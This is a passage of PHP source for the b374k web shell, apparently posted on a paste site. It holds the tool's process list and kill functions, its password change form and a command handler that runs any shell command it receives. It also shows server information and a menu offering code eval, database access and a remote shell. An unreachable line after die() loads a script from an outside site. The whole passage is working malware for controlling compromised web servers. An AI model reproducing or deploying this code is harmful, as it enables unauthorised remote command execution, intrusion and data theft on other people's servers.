  2172. if($s_win) $s_wexplode = "\",\"";
  2173.  
  2174. $s_res = exe($s_h);
  2175. if(trim($s_res)=='') $s_result = notif("Error getting process list");
  2176. else{
  2177. if($s_buff!="") $s_result = $s_buff;
  2178. $s_result .= "&lt;table class='explore sortable'&gt;";
  2179. if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);
  2180.  
  2181. $s_psarr = explode("\n",$s_res);
  2182. $s_fi = true;
  2183. $s_tblcount = 0;
  2184.  
  2185. $s_check = explode($s_wexplode,$s_psarr[0]);
  2186. $s_wcount = count($s_check);
  2187.  
  2188. foreach($s_psarr as $s_psa){
  2189. if(trim($s_psa)!=''){
  2190. if($s_fi){
  2191. $s_fi = false;
  2192. $s_psln = explode($s_wexplode, $s_psa, $s_wcount);
  2193. $s_result .= "&lt;tr&gt;&lt;th style='width:24px;' class='sorttable_nosort'&gt;&lt;/th&gt;&lt;th class='sorttable_nosort'&gt;action&lt;/th&gt;";
  2194. foreach($s_psln as $s_p) $s_result .= "&lt;th&gt;".trim(trim(strtolower($s_p)) ,"\"")."&lt;/th&gt;";
  2195. $s_result .= "&lt;/tr&gt;";
  2196. }
  2197. else{
  2198. $s_psln = explode($s_wexplode, $s_psa, $s_wcount);
  2199. $s_result .= "&lt;tr&gt;";
  2200. $s_tblcount = 0;
  2201. foreach($s_psln as $s_p){
  2202. $s_pid = trim(trim($s_psln[1]),"\"");
  2203. $s_piduniq = substr(md5($s_pid),0,8);
  2204. if(trim($s_p)=="") $s_p = "&amp;nbsp;";
  2205. if($s_tblcount == 0){
  2206. $s_result .= "&lt;td style='text-align:center;text-indent:4px;'&gt;&lt;input id='".$s_piduniq."' name='cbox' value='".$s_pid."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /&gt;&lt;label for='".$s_piduniq."' class='css-label'&gt;&lt;/label&gt;&lt;/td&gt;&lt;td class='ce'&gt;&lt;a href='".$s_self."x=ps&amp;pid=".$s_pid."'&gt;kill&lt;/a&gt;&lt;/td&gt;&lt;td class='ce'&gt;".trim(trim($s_p) ,"\"")."&lt;/td&gt;";
  2207. $s_tblcount++;
  2208. }
  2209. else{
  2210. $s_tblcount++;
  2211. if($s_tblcount == count($s_psln)) $s_result .= "&lt;td class='le'&gt;".trim(trim($s_p) ,"\"")."&lt;/td&gt;";
  2212. else $s_result .= "&lt;td class='ce'&gt;".trim(trim($s_p) ,"\"")."&lt;/td&gt;";
  2213. }
  2214. }
  2215. $s_result .= "&lt;/tr&gt;";
  2216. }
  2217. }
  2218. }
  2219. $colspan = count($s_psln)+1;
  2220. $s_result .= "&lt;tfoot&gt;&lt;tr class='cbox_selected'&gt;&lt;td class='cbox_all'&gt;
  2221. &lt;form action='".$s_self."' method='post'&gt;&lt;input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /&gt;&lt;label for='checkalll' class='css-label'&gt;&lt;/label&gt;&lt;/form&gt;
  2222. &lt;/td&gt;&lt;td style='text-indent:10px;padding:2px;' colspan=".$colspan."&gt;&lt;a href='javascript: pkill();'&gt;kill selected &lt;span id='total_selected'&gt;&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;
  2223. &lt;/tr&gt;&lt;/tfoot&gt;&lt;/table&gt;";
  2224. }
  2225. }
  2226. elseif(isset($_GP['x']) &amp;&amp; ($_GP['x']=='pass')){
  2227. if(isset($_GP['submitnewpass'])){
  2228. $newpass = isset($_GP['newpass'])? trim($_GP['newpass']):"";
  2229. $newpassx = isset($_GP['newpassx'])? trim($_GP['newpassx']):"";
  2230.  
  2231. if(empty($newpass) || empty($newpassx)){
  2232. $s_result .= notif('Give your new password to both fields');
  2233. }
  2234. elseif($newpass != $newpassx){
  2235. $s_result .= notif('Password does not match');
  2236. }
  2237. else{
  2238. if(changepass($newpass)){
  2239. $s_result .= notif("Password changed");
  2240. }
  2241. else $s_result .= notif("Unable to change password");
  2242. }
  2243. }
  2244.  
  2245.  
  2246. $s_result .= "&lt;div class='mybox'&gt;&lt;h2&gt;Change shell password&lt;/h2&gt;
  2247. &lt;form action='".$s_self."' method='post' /&gt;
  2248. &lt;table class='myboxtbl'&gt;
  2249. &lt;tr&gt;&lt;td style='width:120px;'&gt;New password&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='password' name='newpass' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2250. &lt;tr&gt;&lt;td style='width:120px;'&gt;Confirm password&lt;/td&gt;&lt;td&gt;&lt;input style='width:100%;' class='inputz' type='password' name='newpassx' value='' /&gt;&lt;/td&gt;&lt;/tr&gt;
  2251. &lt;/table&gt;
  2252. &lt;input type='submit' name='submitnewpass' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' /&gt;
  2253. &lt;input type='hidden' name='x' value='pass' /&gt;
  2254. &lt;/form&gt;
  2255. &lt;/div&gt;";
  2256. }
  2257. else{
  2258. if(!isset($s_cwd)) $s_cwd = "";
  2259. if(isset($_GP['cmd'])){
  2260. $s_cmd = $_GP['cmd'];
  2261. if(strlen($s_cmd) &gt; 0){
  2262. if(preg_match('#^cd(\ )+(.*)#',$s_cmd,$s_r)){
  2263. $s_nd = trim($s_r[2]);
  2264. if(@is_dir($s_nd)){
  2265. chdir($s_nd);
  2266. $s_cwd = cp(getcwd());
  2267. setcookie("cwd", $s_cwd ,time() + $s_login_time);
  2268. $s_result .= showdir($s_cwd);
  2269. }
  2270. elseif(@is_dir($s_cwd.$s_nd)){
  2271. chdir($s_cwd.$s_nd);
  2272. $s_cwd = cp(getcwd());
  2273. setcookie("cwd", $s_cwd ,time() + $s_login_time);
  2274. $s_result .= showdir($s_cwd);
  2275. }
  2276. else $s_result .= notif(hss($s_nd)." is not a directory");
  2277. }
  2278. else{
  2279. $s_r = hss(exe($s_cmd));
  2280. if($s_r != '') $s_result .= "&lt;pre&gt;".$s_r."&lt;/pre&gt;";
  2281. else $s_result .= showdir($s_cwd);
  2282. }
  2283. }
  2284. else $s_result .= showdir($s_cwd);
  2285. }
  2286. else $s_result .= showdir($s_cwd);
  2287. }
  2288.  
  2289. // find drive letters
  2290. $s_letters = '';
  2291. $s_v = explode("\\",$s_cwd);
  2292. $s_v = $s_v[0];
  2293. foreach (range("A", "Z") as $s_letter){
  2294. if(@is_readable($s_letter.":\\")){
  2295. $s_letters .= "&lt;a href='".$s_self."cd=".$s_letter.":\\'&gt;[ ";
  2296. if($s_letter.":" != $s_v) $s_letters .= $s_letter;
  2297. else{$s_letters .= "&lt;span class='drive-letter'&gt;".$s_letter."&lt;/span&gt;";}
  2298. $s_letters .= " ]&lt;/a&gt; ";
  2299. }
  2300. }
  2301.  
  2302. // print useful info
  2303. $s_info = "&lt;table class='headtbl'&gt;&lt;tr&gt;&lt;td&gt;".$s_system."&lt;/td&gt;&lt;/tr&gt;";
  2304. $s_info .= "&lt;tr&gt;&lt;td&gt;".$s_software."&lt;/td&gt;&lt;/tr&gt;";
  2305. $s_info .= "&lt;tr&gt;&lt;td&gt;server ip : ".$s_server_ip."&lt;span class='gaya'&gt; | &lt;/span&gt;your ip : ".$s_my_ip;
  2306. $s_info .= "&lt;span class='gaya'&gt; | &lt;/span&gt; Time @ Server : ".@date("d M Y H:i:s",time());
  2307. $s_info .= "&lt;/td&gt;&lt;/tr&gt;
  2308. &lt;tr&gt;&lt;td style='text-align:left;'&gt;
  2309. &lt;table class='headtbls'&gt;&lt;tr&gt;
  2310. &lt;td&gt;".trim($s_letters)."&lt;/td&gt;
  2311. &lt;td&gt;
  2312. &lt;span id='chpwd'&gt;
  2313. &amp;nbsp;&lt;a href=\"javascript:tukar_('chpwd','chpwdform')\"&gt;
  2314. &lt;span class='icon'&gt;o&lt;/span&gt;
  2315. &amp;nbsp;&amp;nbsp;&lt;/a&gt;".swd($s_cwd)."&lt;/span&gt;
  2316. &lt;form action='".$s_self."' method='post' style='margin:0;padding:0;'&gt;
  2317. &lt;span class='sembunyi' id='chpwdform'&gt;
  2318. &amp;nbsp;&lt;a href=\"javascript:tukar_('chpwdform','chpwd');\"&gt;
  2319. &lt;span class='icon'&gt;o&lt;/span&gt;
  2320. &lt;/a&gt;&amp;nbsp;&amp;nbsp;
  2321. &lt;input type='text' name='view' class='inputz' style='width:300px;' value='".hss($s_cwd)."' /&gt;
  2322. &lt;input class='inputzbut' type='submit' name='submit' value='view file / folder' /&gt;
  2323. &lt;/span&gt;
  2324. &lt;/form&gt;
  2325. &lt;/td&gt;&lt;/tr&gt;
  2326. &lt;/table&gt;
  2327. &lt;/td&gt;&lt;/tr&gt;
  2328. &lt;/table&gt;";
  2329. }
  2330.  
  2331. $s_error = @ob_get_contents();
  2332. $s_result = isset($s_result)? $s_result:"";
  2333. if(!empty($s_error)) $s_result = notif($s_error).$s_result;
  2334. @ob_end_clean();
  2335. @ob_start();
  2336.  
  2337. ?&gt;&lt;!DOCTYPE html&gt;
  2338. &lt;html&gt;
  2339. &lt;head&gt;
  2340. &lt;title&gt;&lt;?php echo $s_title; ?&gt;&lt;/title&gt;
  2341. &lt;meta charset="utf-8"&gt;
  2342. &lt;meta name='robots' content='noindex, nofollow, noarchive'&gt;
  2343. &lt;link rel='SHORTCUT ICON' href='&lt;?php echo $s_favicon; ?&gt;'&gt;
  2344. &lt;?php echo get_code("css", $s_css); ?&gt;
  2345. &lt;/head&gt;
  2346. &lt;body&gt;
  2347. &lt;table id='main'&gt;&lt;tr&gt;&lt;td&gt;
  2348. &lt;?php if($s_auth){?&gt;
  2349. &lt;div&gt;&lt;span style='float:right;'&gt;&lt;?php
  2350. if(!isset($_COOKIE['b374k_included'])){
  2351. ?&gt;&lt;a href='?x=pass'&gt;password&lt;/a&gt; |
  2352. &lt;?php }
  2353. ?&gt;&lt;a href='&lt;?php echo $s_self; ?&gt;x=logout' title='Click me to log out'&gt;log out&lt;/a&gt; &lt;a href='&lt;?php echo $s_self; ?&gt;x=switch' title='Click me to change theme'&gt;&lt;span class='schemabox'&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;table id='header'&gt;&lt;tr&gt;&lt;td style='width:80px;'&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;&lt;h1&gt;&lt;a href='&lt;?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?&gt;'&gt;b374k&lt;/a&gt;&lt;/h1&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style='text-align:right;'&gt;&lt;div class='ver'&gt;&lt;?php echo $s_ver; ?&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt; &lt;td&gt;&lt;div class='headinfo'&gt;&lt;?php echo $s_info; ?&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;
  2354. &lt;div style='clear:both;'&gt;&lt;/div&gt;
  2355. &lt;form method='post' name='g'&gt;&lt;/form&gt;
  2356. &lt;div id='menu'&gt;
  2357. &lt;table style='width:100%;'&gt;&lt;tr&gt;
  2358. &lt;td&gt;&lt;a href='&lt;?php echo $s_self; ?&gt;' title='Explorer'&gt;&lt;div class='menumi'&gt;xpl&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;
  2359. &lt;td&gt;&lt;a href='&lt;?php echo $s_self; ?&gt;x=ps' title='Display process status'&gt;&lt;div class='menumi'&gt;ps&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;
  2360. &lt;td&gt;&lt;a href='&lt;?php echo $s_self; ?&gt;x=eval' title='Execute code'&gt;&lt;div class='menumi'&gt;eval&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;
  2361. &lt;td&gt;&lt;a href='&lt;?php echo $s_self; ?&gt;x=info' title='Information about server'&gt;&lt;div class='menumi'&gt;info&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;
  2362. &lt;td&gt;&lt;a href='&lt;?php echo $s_self; ?&gt;x=db' title='Connect to database'&gt;&lt;div class='menumi'&gt;db&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;
  2363. &lt;td&gt;&lt;a href='&lt;?php echo $s_self; ?&gt;x=rs' title='Remote Shell'&gt;&lt;div class='menumi'&gt;rs&lt;/div&gt;&lt;/a&gt;&lt;/td&gt;
  2364. &lt;td style='width:100%;padding:0 0 0 6px;'&gt;
  2365. &lt;span class='prompt'&gt;&lt;?php echo $s_prompt; ?&gt;&lt;/span&gt;&lt;form action='&lt;?php echo $s_self; ?&gt;' method='post'&gt;
  2366. &lt;input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='&lt;?php
  2367. if(isset($_GP['cmd'])) echo "";
  2368. else echo "- shell command -";
  2369. ?&gt;' /&gt;
  2370. &lt;noscript&gt;&lt;input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /&gt;&lt;/noscript&gt;
  2371. &lt;/form&gt;
  2372. &lt;/td&gt;
  2373. &lt;/tr&gt;&lt;/table&gt;
  2374. &lt;/div&gt;
  2375. &lt;div id='content'&gt;
  2376. &lt;div id='result'&gt;&lt;?php echo "__RESULT__"; ?&gt;&lt;/div&gt;
  2377. &lt;/div&gt;
  2378. &lt;div id='navigation'&gt;
  2379. &lt;div id='totop' onclick='totopd();' onmouseover='totop();' onmouseout='stopscroll();'&gt;&lt;/div&gt;
  2380. &lt;div id='tobottom' onclick='tobottomd();' onmouseover='tobottom();' onmouseout='stopscroll();'&gt;&lt;/div&gt;
  2381. &lt;/div&gt;
  2382. &lt;?php } else{ ?&gt;
  2383. &lt;div style='width:100%;text-align:center;'&gt;
  2384. &lt;form action='&lt;?php echo $s_self; ?&gt;' method='post'&gt;
  2385. &lt;img src='&lt;?php echo $s_favicon; ?&gt;' style='margin:2px;vertical-align:middle;' /&gt;
  2386. b374k&amp;nbsp;&lt;span class='gaya'&gt;&lt;?php echo $s_ver; ?&gt;&lt;/span&gt;&lt;input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' /&gt;
  2387. &lt;input class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' /&gt;
  2388. &lt;/form&gt;
  2389. &lt;/div&gt;
  2390. &lt;?php }?&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
  2391. &lt;p class='footer'&gt;Jayalah Indonesiaku &amp;copy;&lt;?php echo @date("Y",time())." "; ?&gt;b374k&lt;/p&gt;
  2392. &lt;script type='text/javascript'&gt;
  2393. var d = document;
  2394. var scroll = false;
  2395. var cwd = '&lt;?php echo hss(adds($s_cwd)); ?&gt;';
  2396. var hexstatus = false;
  2397. var timer = '';
  2398. var x = '&lt;?php if(isset($_GP['x']) &amp;&amp; ($_GP['x']=='ps')) echo "ps"; ?&gt;';
  2399. var sself = '&lt;?php echo adds($s_self); ?&gt;';
  2400. var hexcounter = 0;
  2401. var hextimer = '';
  2402. var counter = 0;
  2403.  
  2404. &lt;/script&gt;
  2405. &lt;?php echo get_code("js", $s_js); ?&gt;
  2406. &lt;script type='text/javascript'&gt;
  2407. domready(function(){
  2408. &lt;?php if(isset($_GP['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?&gt;
  2409. &lt;?php if(isset($_GP['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?&gt;
  2410. &lt;?php if(isset($_GP['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?&gt;
  2411. &lt;?php if(isset($_GP['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?&gt;
  2412. &lt;?php if(isset($_GP['hexedit'])) echo "showhex();"; ?&gt;
  2413.  
  2414. if(d.getElementById('cmd')) d.getElementById('cmd').setAttribute('autocomplete', 'off');
  2415.  
  2416. var textareas = d.getElementsByTagName('textarea');
  2417. var count = textareas.length;
  2418. for(i = 0; i&lt;count; i++){
  2419. textareas[i].onkeydown = function(e){
  2420. if(e.keyCode==9){
  2421. e.preventDefault();
  2422. var s = this.selectionStart;
  2423. this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
  2424. this.selectionEnd = s+1;
  2425. }
  2426. else if(e.ctrlKey &amp;&amp; (e.keyCode == 10 || e.keyCode == 13)){
  2427. this.form.submit();
  2428. }
  2429. }
  2430. }
  2431. listen();
  2432. });
  2433. &lt;/script&gt;
  2434. &lt;/body&gt;
  2435. &lt;/html&gt;&lt;?php
  2436. $s_html = ob_get_contents();
  2437. ob_end_clean();
  2438. $whitespace = "/(\s{2,}|\n{1,})/";
  2439. $s_html = preg_replace($whitespace, " ", $s_html);
  2440. $s_html = str_replace("__RESULT__", $s_result, $s_html);
  2441. echo $s_html;
  2442. die();
  2443. echo "&lt;SCRIPT SRC=http://www.podathon.org/sayac.js&gt;&lt;/SCRIPT&gt;";
  2444. ?&gt;
  2445. </pre></body>
Add Comment
Please, Sign In to add comment